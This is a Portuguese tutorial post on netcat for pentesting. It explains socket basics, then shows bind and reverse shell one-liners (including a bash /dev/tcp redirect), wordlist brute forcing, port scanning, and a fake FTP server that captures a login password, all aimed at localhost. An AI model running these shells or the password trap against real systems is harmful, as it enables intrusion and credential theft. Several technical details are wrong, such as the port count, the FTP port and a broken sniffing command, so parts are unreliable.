Netcat – Canivete suiço dos hackers

Categorias: , , , ,

Descrição

Quando se fala em Canivete Suiço no contexto de hacking, explicitamente se refere ao netcat, uma ferramenta que foi desenvolvida por um cara conhecido como “Hobbit”(?). É uma ferramenta de redes, muito útil ainda mais em ambiente linux que é um sistema flexivel onde você brinca de deus.

Você pode utilizar o netcat para abrir conexões tanto tcp como UDP atráves de portas, não sei o quanto você conhece sobre redes, mas vou partir do principio que você não conhece, não por falta de educação, mas porque é mais fácil, e ninguém costuma responder posts mesmo, então ninguém vai perguntar se eu simplesmente pular pra sockets, então vamos abordar um pouco de redes antes de prosseguir com o netcat.

Primeiramente, uma conexão se baseia simplesmente num socket, um socket é composto de IP+PORTA, isso significa que não é uma conexão se não for um socket? Não, tem protocolos que não utilizam portas, tais como o icmp, mas nós, vamos utilizar sockets sim, tanto para UDP como TCP.
Lembre-se que em conexões tcp clássicas, temos o client-side e o server/side.
Server side é quem serve uma aplicação aos clientes, pense tipo um posto de gasolina, onde os clientes vão até lá para abastecer, o posto seria o servidor e os carros seriam os clientes.
Bom, temos sockets dos dois lados, tanto no cliente como no servidor, acontece que sempre é o cliente quem abre uma conexão, pois ele é sempre o que vai pedir algo para um servidor, sempre, jogue isso na cara dos filosofos, teologos, humanas dudes.
A porta representa o serviço, por exemplo, se você quer acessar um serviço web, você utiliza a porta do serviço web, que é a 80, então, você já sabe a porta, então você precisa do endereço do servidor, ai entra o IP.
Vamos supor que nós estamos nos referindo ao servidor 203.0.113.32, então, nosso socket de conexão ficaria assim <203.0.113.32:80>
Se fosse um serviço de ftp, acessaria a porta 20, no mesmo servidor, um servidor tem várias portas, na verdade cada servidor no planeta terra, todas as máquinas de rede tem exatamente 65353 portas para serem utilizadas. Tirando a 0 que é reservada pela IANA se não me engano.

Bom, então o cliente sempre vai requisitar o servidor numa porta conhecida de serviço (80/443/20/21/22/23), mas a porta que o cliente tem que abrir, que é a porta que o server-side vai usar para fazer a conexão, é diferente. até porque se você utilizasse a mesma porta, naõ teria sentido, você acessa o servidor na porta 80 que é um serviço web e ele te responde na porta 80 que e um serviço web, então, ambos seriam servidores respondendo pra um serviço, kernel panic.

Na realidade, o client-side sempre abre uma porta não conhecida superior a 1023, é randomica, a conexão, mas a porta se mantém a mesma durante toda a conexão. logo, vamos supor que o endereço do cliente seja 203.0.113.50, e a porta que ele abriu é a 4023. Então o servidor responderia as requisições nessa porta, então ficaria:

Client Server
203.0.113.50:4023<—–>203.0.113.32:80

Beleza, agora essas conexões podem operar sobre TCP ou UDP, pense nisso como uma pilha(no sentido de empilhado), a diferença básica entre os dois é que o UDP é uma conexão não orientada, isso significa que ele vai disparar pacotes sem se importar se o outro lado existe, ou seja, se um pacote for perdido, quem liga, isso é útil para transmissões que aceitam perda de pacotes, note que eu falei transmissões, tipo, streaming, protocol de real time.
Já o TCP é uma conexão orientada, tem inumeras outras diferenças, mas essa julgo ser a principal, ele antes de iniciar a enfiar pacote no cabo, ele faz o 3Way, ele dispara um pacote, SYN, então o servidor responde com um SYN+ACK, e então o cliente manda um ACK, que basicamente eles abriram uma conexão, e então, ele tem controle sobre todos os pacotes(No sentido de logistica), podendo assim fazer retransmissão em caso de perda.

Bom, eu não vou aprofundar em teoria de redes, até porque o projeto vai aprofundar isso numa etapa mais a frente, acho que por enquanto é só isso que você precisa entender. Back to NetcAt, ty Hobbit.

Agora que temos uma ídeia sobre redes, o netcat é um útilitário voltado justamente pra isso, vou abordar algumas utilidades do netcat no ambito de pentest.
Mas antes, vou esclarecer o que exatamente é o netcat.
Bom o netcat nasceu para se conectar a hosts, e é exatamente isso que ele faz, lembre-se que para fazer brute force é necessário se conectar ao alvo, para fazer scan de portas, é necessário conectar ao alvo, mas o netcat vai além disso, pode servir também de servidor, já que ele aceita conexões, por que não colocar ele pra escutar numa porta chave? Ele também faz isso, como você pode ver, faz jus ao apelido de canivete suiço, e ainda mais, pode-se utilizar para sniffar.
Vamos dar uma olhada no help do netcat:

Código: Selecionar todos

anon@Server:~$ nc --help
nc: invalid option -- '-'
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
	  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
	  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
	  [-x proxy_address[:port]] [destination] [port]

Com base na saída anterior, eu posso ver a gama de opções que ele me dá, para mais informações, leia o manual.

Código: Selecionar todos

anon@Server:~$ man nc

Bom, vamos à parte prática, é imporante você entender o que está fazendo, a teoria sempre( na maioria dos casos ) vai ser superior á prática, é muito melhor você saber o que precisa ser feito do que fazer sem saber o que está sendo feito.

Chat
Vamos começar com um simples chat tcp.

O que consiste num chat? Cliente e servidor, troca de mensagens.

Bom, vamos subir um servidor então:

Código: Selecionar todos

root@Ilusion:~# nc -l -p 4000

Bom, o comando acima, foi aberto uma conexão tcp(Default) em modo listen na porta 4000.
Vamos fazer o cliente se conectar ao server, mas antes, dê uma olhada nessa saída do netstat que me mostra as portas abertas no sistema.

Código: Selecionar todos

tcp        0      0 0.0.0.0:4000            0.0.0.0:*   LISTEN   

Repare que está em LISTEN.

Vamos ao cliente:

Código: Selecionar todos

root@Ilusion:~# nc 127.0.0.1 4000

Pronto, conexão estabelecida, eu até iria pegar uma amostra do tcpdump, mas to com preguiça, você iria ver o 3WAY acontecendo.

Vamos mandar uma mensagem pro outro lado, eu me conectei ao localhost do meu proprio sistema, isso funcionaria perfeitamente em uma outra máquina na rede local, ou até mesmo na WAN.

Código: Selecionar todos

root@R3b3l10n:~# nc 127.0.0.1 4000
Hello darkness, my old friend

Repare que a mensagem chegou ao outro lado.

Código: Selecionar todos

root@R3b3l10n:~# nc -l -p 4000
Hello darkness, my old friend

Interessante não?

Vamos continuar injetando conhecimento, não existe droga melhor que essa.

Transferência de Arquivos:
Bom, isso é bem útil, você pode por exemplo enviar partições inteiras por rede. acredito ser mais utilizado essa utilidade de enviar partições inteiras mais em forense.
Mas vamos continuar.
Para enviar arquivos pelo netcat, obviamente você precisa de um servidor e um cliente, duas pontas, a que envia e a que recebe, onde a qual envia é o servidor e a que recebe é a cliente.

No cliente(que na verdade é quem abre a conexão pro “server” se conectar, kernel panic 01001010111101), você vai precisar direcionar o input(ou output, depende do seu ponto de vista, teoria da relatividade trash) da conexão para um arquivo.

Código: Selecionar todos

root@Ilusion:~# nc -v -l -p 641 > file

Já no pseudo servidor.

Código: Selecionar todos

root@Ilusion:~# nc -vvn 127.0.0.1 641 < Nudes

E está feito, você pode dar uma pesquisada sobre scp, é a mesma ideia, só que melhor, vou abordar isso num post de ssh.

ShellDireto:
O ShellDireit é bem simples, consiste em você se conectar ao alvo diretamente, ao contrário do shell reveso onde o alvo se conecta a você evitando assim o firewall barrar sua conexão, já que a maioria dos firewalls barra de fora pra dentro, naõ de dentro pra fora.
Segue exemplo abaixo:
No seu alvo, abra a porta:

Código: Selecionar todos

root@Ilusion:~# nc -l -p 1234 -k

No seu pc, se conecte ao seu alvo: (Isso aqui geralmente não funciona em ambientes reais com um firewall descente..

Código: Selecionar todos

root@laner:/home/r3bel# nc 127.0.0.1 1234 >&1 bash -i 0>&1

E pronto, temos nosso firewall direto, útopico.

ShellReverso:
A ideia é simples, vamos supor que você tenha comprometido um servidor, upou um webshell porco como geralmente são pela aplicação, é uma shell muito limitada. Você pode então fazer uma conexão reversa pra você mesmo, ao inves de utilizar o IP, poderia utilizar um DDNS(NOIP), que apontaria pra você, isso não é uma técnica de ofuscação, mas sim um facilitador apenas.
No shell comprometido, você manda se conectar a você, mas antes, você precisar abrir o servidor, claro.

Código: Selecionar todos

root@Ilusion:~# nc -l 43333 -vvv

No alvo, você iria precisar setar a opção -e, que serve para executar um comando logo após conectar, lógicamente, nós queremos um BASH delicinha, então, vamos:

Código: Selecionar todos

root@Ilussion:~# nc -e /bin/bash 127.0.0.1 445

Caso não tenha a opção -e, eu dei uma pesquisada e encontrei uma alternativa superior àquele esquema de abrir 2 terminais, um pra enviar comando e outro pra receber o output, segue abaixo:

Código: Selecionar todos

 
root@R3b3l10n:~# bash -i >& /dev/tcp/127.0.0.1/445 0>&1

Como você só está estudando sobre netcat pois você leu o livro da FOCA, então, eu poderia simplesmente não explicar o código acima, mas como eu sou o senhor da bondade, tipo jesus só que sem respaw.

No código acima, eu estou executando o bash no modo interativo (-i), então eu estou direcionando ambas as saídas (stdout/stderr) para /dev/tcp/127.0.0.1 na porta 445, você abriu o socket na marra. e então eu jogo a entrada padrão (stdin) para a saída padrão. Isso é descritores de arquivos, na realidade é bem mais complexo que isso e você deveria dar uma lida sobre. Isso é tão gai que nem eu tenho certeza se o que eu falei está certo, do um joga pro 2 que joga pro 0 que joga pro 1 denovo ai vai pro outro lado dps dá a volta , wtf this guy are talking about(?).
Imagem

BruteForce
É uma técnica de ataque bastante ruim devido ao tempo que leva, consiste em tentar combinações de usuários/senhas, chaves em geral, para conseguir acesso à algo.
Queria fazer uma demonstração de bruteforce em telnet, mas vai envolver shellscript. que droga, vou pensar em algo mais fácil pra vocês entenderem, KK bem mais fácil.
Vou dar um exemplo de um ctf que eu joguei uma vez com os manos ai, era um server feito em C, que você tinha que ficar dando opções, exemplo, você conectava, o server printava uma mensagem, e você tinha que escolher pra onde ir, eu fiz em netcat um bag que já ia mandando tudo de uma vez(sequencialmente) e enviava a saída pra um arquivo, isso poderia ser aplicado em qualquer server, eu cheguei a ver um exemplo feito para efetuar um ataque de dicionário num servidor ftp.

Bom, não to com saco pra escrever um server agora, na real, acho que vou fazer um em shellscript, vamos ver.

n quero mais fazer um server em shellscript, meu negocio é quebrar n construir, to com pressa, não até fiz um esboço mas to com vergonha de postar aqui.

Mas o brute force consiste em você ter uma lista, e disparar essa lista pela conexão até o outro lado, implementar um bruteforce em aplicações tipo ftp é insano, eu tentei com telnet mas não consegui nada no pouco tempo que tentei.

Vou fazer uma demonstração mais simples, vou abrir um socket e na outra ponta vou jogar uma wordlist.
ServerSide

Código: Selecionar todos

root@Sad:# nc -l -p 127 -k #CLaro que num ambiente real, seria uma aplicação qualquer, um socket em c, sei lá.

ClientSide

Código: Selecionar todos

root@Sad:# nc 127.0.0.1 127 < bruteforce.list 

E o resultado disso foi o esperado:

Código: Selecionar todos

root@Sad:# nc -l -p 127 -k 
peixe
bacia
coxinha2
iaatl
isallaboutthelulz
senha123
t1m3gai
fagtype
anorakcoxinha
bode
só
tenho
mais
dois
cigarros
segurodesemprego
não
cobre
pra
eucomprarmais

PortScan
PortScan é uma técnica utilizada para descobrir quais portas estão abertas em um host, não é utilizado só no pentest, mas também por administradores de redes, analises forense, como já devo ter falado, é tudo interligado.
Em scan, temos algumas oções básicas do netcat:

Código: Selecionar todos

-z      Specifies that nc should just scan for listening daemons,
             without sending any data to them.  It is an error to use
             this option in conjunction with the -l option.
-v      Have nc give more verbose output.

Vamos fazer um teste então:
Vou apontar pro meu router na porta 80.

Código: Selecionar todos

root@Sad:# nc -zv 192.168.66.66 80
Connection to 192.168.1.2 80 port [tcp/http] succeeded!

Agora vou fazer um teste maroto, vou abrir 3 portas com o netcat e fazer um scan num range próximo, acompanhe:

Código: Selecionar todos

root@Sad:# nc -l -p 1234
root@Sad:# nc -l -p 1235
root@Sad:# nc -l -p 1244

Vamos então fazer um scan:

Código: Selecionar todos

root@Sad:# nc -zv 127.0.0.1 1230-1250
nc: connect to 127.0.0.1 port 1230 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1231 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1232 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1233 (tcp) failed: Connection refused
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
Connection to 127.0.0.1 1235 port [tcp/*] succeeded!
nc: connect to 127.0.0.1 port 1236 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1237 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1238 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1239 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1240 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1241 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1242 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1243 (tcp) failed: Connection refused
Connection to 127.0.0.1 1244 port [tcp/*] succeeded!
nc: connect to 127.0.0.1 port 1245 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1246 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1247 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1248 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1249 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1250 (tcp) failed: Connection refused

Pronto, ai um scanport funcional, muito rápido e simples do que fazer em C, mas C é muito mais tesão.

Phising/HoneyPot.
É a técnica de fazer algo que não é parecer com alguma coisa, na tentativa de enganar a o alvo.
A demonstração abaixo vai simular um servidor ftp com netcat, que vai alegar que a senha está errada, então o alvo vai redigitar a senha, e vai cair em nossas mãos a senha para destruir o sistema capitalista.

Server-Side

Código: Selecionar todos

root@Sad:# echo $'220 ftp\n331 PASS\n' | nc -l -v -p 21

No lado cliente, vamos usar o ftp padrão.

Código: Selecionar todos

user@Underground:/tmp$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 ftp
Name (127.0.0.1:user): user
331 PASS
Password:

Login failed.
421 Service not available, remote server has closed connection
ftp> 


E então, no nosso server, temos a password.

Código: Selecionar todos

root@ServerSide:# echo $'220 ftp\n331 PASS\n' | nc -l -v -p 21
Listening on [0.0.0.0] (family 0, port 21)
Connection from [127.0.0.1] port 21 [tcp/ftp] accepted (family 2, sport 50570)
USER user
PASS itsatrap
SYST

Sniffing
É a arte de farejar o que passa dentro de uma conexão, com o netcat nós podemos colocar de escuta numa porta por exemplo e salvar tráfego num arquivo.

Código: Selecionar todos

root@bla:# bc -vv 127,0.0.1 9050 | tee pf.prendeu

Em teoria deveria abrir uma escuta e ao mesmo tempo que salvar em pf.prndeu vai imprimir na tela.

Bom, então nesse post, expliquei(euacho) o que são sockets, um básico sobre tcp/udp, e então demonstrei como utilizar o netcat em alguns estudos de caso.
]
Sim, eu fiquei devendo uma demonstração de brute force com um servidor feito em shellscript, se quiserem ver, comentem ai, talvez eu faça quando tiver com tempo, mas agora tempo é algo que ninguém tem.

Fontes:
Música pra não ficar na solidão: https://www.youtube.com/watch?v=drV169mMv84
Descritores de Arquivos: https://pt.wikipedia.org/wiki/Descritor_de_arquivo
ReverseShell: http://pentestmonkey.net/cheat-sheet/sh … heat-sheet
OverView Netcat: http://sectools.org/tool/netcat/
BackDoor Windows c/ Netcat: https://null-byte.wonderhowto.com/how-t … t-0162348/
Exemplos de uso do netcat: https://null-byte.wonderhowto.com/how-t … s-0148657/
Fodendo Paper: http://nc110.sourceforge.net/
Sniffer: https://rohieb.wordpress.com/2009/09/24 … k-sniffer/